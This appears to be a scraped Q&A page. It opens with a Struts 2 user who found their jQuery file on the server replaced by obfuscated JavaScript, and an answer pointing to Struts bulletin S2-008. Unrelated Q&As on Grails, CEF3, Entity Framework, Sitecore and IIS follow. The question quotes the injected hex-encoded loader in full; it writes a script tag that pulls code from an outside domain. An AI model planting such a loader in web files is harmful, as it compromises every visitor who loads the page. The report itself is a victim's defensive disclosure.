been researching for quite sometime now (research not limited to this site only) but I have not seen any discussion on this "alleged" issue.
My friend told me that they found a critical issue in using struts 2 (2.2.1.1). Told me that a hacker can gain root access to your project's directory. hence he can modify the files in the projects.
I took less notice of it before. But just now, I experienced the same issue.
[Alleged Bug]: Been wondering why, after I deployed my project, all DOM elements whose events are triggered using javascript dont work after sometime. Further investigation, I found out that the jquery lib I uploaded to the server (used jquery-1.3.2.min.js) had been replaced (its content). The filename is the same but the content is something unrecognizable (at least to me), see below:
var _0xfcda=["\x3C\x53\x43\x52\x49\x50\x54\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x67\x6F\x6F\x67\x6C\x65\x61\x64\x73\x6C\x2E\x63\x6F\x6D\x2F\x73\x70\x63\x6F\x64\x65\x2F\x63\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xfcda[1]](_0xfcda[0]);
That's when I remembered what my friend told me. Can somebody confirm if the said bug/issue is legit and explain here what it is all about and how it can be fixed. I think this is a pretty huge glitch.
NOTE: I am pretty sure that the code above is not ours. I checked my local copy, and the code is different and everything is okay in my local. Pretty sure as well that nobody else aside from me, knows the root password of the server.
NOTE: I will use the latest struts 2 release, but I think this issue, if legits, need to be discussed thoroughly as a headsup/reference to the community.
My friend told me that they found a critical issue in using struts 2
(2.2.1.1). Told me that a hacker can gain root access to your
project's directory. hence he can modify the files in the projects.
I think he was referring to one of the vulnerabilities discovered and announced on December 2011.
You can read the details in Security Bulletin S2-008.
Arbitrary File Overwrite in Struts <= 2.3.1 (ParameterInterceptor)
While accessing the flag allowStaticMethodAccess within parameters is
prohibited since Struts 2.2.3.1 an attacker can still access public
constructors with only one parameter of type String to create new Java
objects and access their setters with only one parameter of type
String. This can be abused in example to create and overwrite
arbitrary files. To inject forbidden characters into a filename an
uninitialized string property can be used.
I can't know if this is what happened to you, but it's probably what your friend was talking about.
I will use the latest struts 2 release
Then you have (almost) nothing to worry about... until the next vulnerability get discovered and disclosed, then you will need to upgrade again.
As for every software out there, always use the latest (stable) version.
Related
In Grails 2 we used the "External configuration plugin", which included the method checkNow() for checking and refreshing values from an external config file.
Does it exist a simple approach for doing something similar in Grails 4+? I have seen references to Spring Cloud Config Server, but it seems a bit overkill for me. All I really want to do is be able to (now and then) update a config value in runtime. It could also be purely by a few lines of code, and does not have to originate from changes in the config file. This would avoid having to restart our server for minor changes in config. Thanks!
I'm replying to myself with a ridiculously simple answer: "just change it". Using the console plugin (or any other form of code execution), I can just assign grailsApplication.config.any.property a new value. It won't persist and it won't update any listeners or anything. But it is a glaringly obvious solution that I just assumed wouldn't work due to the getProperty() calls (I interpreted the name as reading from file) and googled discussions about Spring Cloud Config.
So, move on... nothing to see here. Just mild embarrassment :-P
I have searched for days with no solution in sight.
I need multiple Chromium instances in one single application and each of this instance logins to the same site with different account (ex: outlook.com).
I tried this solution but there's no "OnGetCookieManager" event in DECF3 new version. Apparently there was a related bug and event onGetCookieManager was removed in the 1547 CEF3.
I tried this but it doesn't work too.
Is this really possible? How?
I'm using DCEF3 (revision: 0cc175e7a629) and Delphi XE3.
Here's what CEF3 maintainer told me:
"Cookies can be stored globally, per request context or something else entirely. It depends on whether you pass a CefRequestContext to CreateBrowser*() and what you return from CefRequestContextHandler::GetCookieManager."
I'm not entirely sure how CreateBrowser is exposed in Delphi (I only use the C++ API), but I can confirm that GetCookieManager still exists in trunk (as the only method of CefRequestContextHandler).
PLEASE NOTE: None of the answers in the link above (which I don't seem to be able to remove) helped me. As I explain below, I had already tried all that stuff
I have a web site, developed in VS2013 using ASP.NET MVC5/WebAPI2, which has several related projects such as a service layer, repository layer, etc. Down at the bottom of the stack is a class library that holds an EF model. I have separated the actual entities into another class library, to allow them to be reused without requiring the model library.
All of this has been working fine. The web site was running, and I could make calls to the WebAPI methods as well.
I just uploaded the latest version to the production server, and all is working fine there. Then came back to VS to carry on work, and when I try to run up the web site, I get an exception
Unable to load the specified metadata resource
Searching around, it seems that the cure for this is to modify the connection string to point to the actual assembly name instead of using the default . I have two problems with this, first is that none of the config files in the solution have been touched today (by me at least, and the file history form source control confirms this), so there's no reason why it should suddenly stop working after being deployed, and second, even if I add the assembly name, I get the same exception.
Anyone any ideas what I can do? I'm completely stuffed now. Can't do anything.
Edit: I tried again to specify the assembly in the connection string, and now get the exception Unable to resolve assembly. I have checked the assembly name in a decompiler, and I'm pretty sure got it right.
Edit again: I just pulled the version that I deployed from source control, and that gives the same exception, so I'm sure this is nothing to do with any files I've changed (or even that have been changed by VS). The version on the production server is still working, but the source code that drives that exact same version gives the exception. So, I'm certain that the answer is NOT to be found in the myriad other versions of this question, but is somewhere else.
Found the problem, and am posting it here in the hope that it will help someone else, as I don't think this was clear in any of the other posts on this issue.
I have a layered solution, with the web project referencing a service layer, which references a repository layer which in turn references the model project. It seems to for EF to work, whichever layer actually causes the database to be accessed requires a reference to the model project. My service layer project, which was where ToList() was being called (thus enumerating the query, and causing the database to be hit) didn't have a reference to the model project, so was failing to load the assembly.
I didn't need to alter the metadata part of the connection string either, as once the service layer had a reference to the model project, it was able to find the resources by itself. Having said that, one thing I did learn from all of this is that you can speed up the creation of the model (slightly) by specifying the assembly containing the resources explicitly, as this saves the framework having to search through all loaded assemblies to find them. I'm not sure if this will make any noticeable difference, but it can't harm.
I still can't explain how this had been working up until now, and suddenly stopped, as I hadn't changed any references, nor the way I was doing the data access. Still, it seems to be working now, which is all that matters.
Hope this helps someone.
We have four different environments - dev VMs, dev, QA and prod. All environments have the following setting for the "website" site:
<site name="website" virtualFolder="/" physicalFolder="/"
rootPath="/sitecore/content" startItem="/home" database="master"
domain="extranet" allowDebug="true" cacheHtml="false"
htmlCacheSize="10MB" registryCacheSize="0" viewStateCacheSize="0"
xslCacheSize="5MB" filteredItemsCacheSize="2MB" enablePreview="true"
enableWebEdit="true" enableDebugger="true"
disableClientData="false" loginPage="/" hostName="www.site.com"
enableFallback="true" enforceVersionPresence="true"/>.
So on VM and prod, www.site.com/en/home/press and www.site.com/en/press work.
But on dev and QA, www.site.com/en/home/press works but www.site.com/en/press doesn't work. (Works with startItem but gets a 404 without it).
This is happening with ISAPI enabled and disabled both (no exceptions).
I am not sure what is going on here or where else to look except to make sure that my start item is in good shape which it seems to be.
What can I do to resolve this? If you need more information please let me know.
Thanks
Try looking at the:
"linkManager" tag in the web.config, there is a property called:
languageEmbedding: asNeeded | always | never
which could be set differently on those solutiuons.
If you have Multi-Language website it is recommended to go with
languageEmbedding: always
Advantages :
Some time in IE8 the Language cookie is destroyed, because of that
the language displayed is change randomly.(We have faced this issue
in our environment) LanguageEmbadding : Always will keep the Information and will work without any Issue.
If you have set asNeeded then First time the Language will be displayed and next time onward it will be hidden. But this will create issue with Google Analytics. In GA you will have 2 diff URL with same page content so your analysis will be unnecessarily divided in to 2 pages.
And Yes you can check if there is any difference is Config files. As Mentioned by Martijn you can use the www.site.com/sitecore/admin/showconfig.aspx Copy the Config, compare it using any file compare tool like WinMerge etc.
What is the Hierarchy in your project?
Sitecore-Content-home-Press or
Sitecore-Content-home-Home-Press?
In my project the setting you have mentioned has database = web.
I can't add a comment, but as Martijn says you need to compare the configs. Now this should be very easy since you should be using config include files and so the changes between the environments should be very minimal. If you are not using them then you should start using them, it makes life much easier to figure out the differences from default Sitecore installation and will also make your upgrades much easier in the future. Or maybe you are using them for the other environments and that is what is causing the issue?
All About web.config Include Files with the Sitecore ASP.NET CMS
As for comparing the configs, use a file comparison tool like WinMerge as already metioned, that should weed out the differences much more easily.
Also, as Maulik says, default config has: database="web" content="master"
This seems like config differences. Compare the live configs by using www.site.com/sitecore/admin/showconfig.aspx. This way you can see the actual config which also includes all your /app_config/include/ files
Quite not sure why I see this error.
I navigate to my Login View like so http://test.staging.com/mywebsite/Login
My Login view was just redone using MVC but I have seen this same error message going to an aspx page as well...
If I use http I get the error message The specified request cannot be executed from current Application Pool.
If I use https://test.staging.com/mywebsite/Login, I'm good.
If I don't specify a protocol, test.staging.com/mywebsite/Login, I get the error as well
Is there an error happening under the covers and my custom error page can't be shown like discussed here?
What are some other causes of this error?
That usually means your custom errors are configured to run as a different AppPool.
You can read more at MSDN. (See section "Using Custom Errors from Another Application Pool").
There are two ways to correct this behavior. The first is possibly not one that you are interested in because it would require you to change your current architecture and run both sites in the same application pool (such as share the same worker process memory space). To do this, simply move the /errors virtual directory to run in the same application pool as the site for which it serves the custom error.
The second way is to make use of a registry key provided by IIS 6.0. This registry key makes sure IIS 6.0 does not check the metadata during the execution of the custom error and therefore allowing this to work.
See the article for information on the registry key fix.
It may also mean that you are using something along the lines of Server.Transfer to a page that is in a different AppPool.
It could be because you're using different versions of ASP.NET for one or many apps in the pool.
Make sure all apps in the pool use the same version of ASP (e.g. ASP 2.0.50727)
If you just added a new app, try changing the app momentarily to a different version of ASP, then back to same version. I experienced an issue where the displayed version was correct, but under the hood, a different version was used!
Check your event log, under Application, to get more details about the error.
The message would be caused by your page server-side redirecting to a page served by another application pool. Such as for example, in your link, the error page.
I know this is an old thread, but I stumbled upon it and found a different solution. Here's what worked for me: Make sure your application handles .asmx files correctly
From IIS:
Right Click on your project > Properties > Configuration
If necessary, add the .asmx file extension that maps to the aspnet_isapi.dll
Limit to: "GET,HEAD,POST,DEBUG" and restart.
Because I can't comment on vcsjones's answer, I'll add it down here. The DWORD value IgnoreAppPoolForCustomErrors needs to be set under HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\ Parameters vs HKLM\SYSTEM\CurrentControlSet\Services\W3SVC referenced in that technet article. Set it to 1 and do an iisreset and you're good to go.
Source Blog Post
In my particular case, I received this error while trying to serve a content (non ASP.NET) website while it was an Application. Right-Clicking the virtual folder and removing the application fixed it for me.
In my case the application used the application pool that didn't exist. I have no idea how it's happened.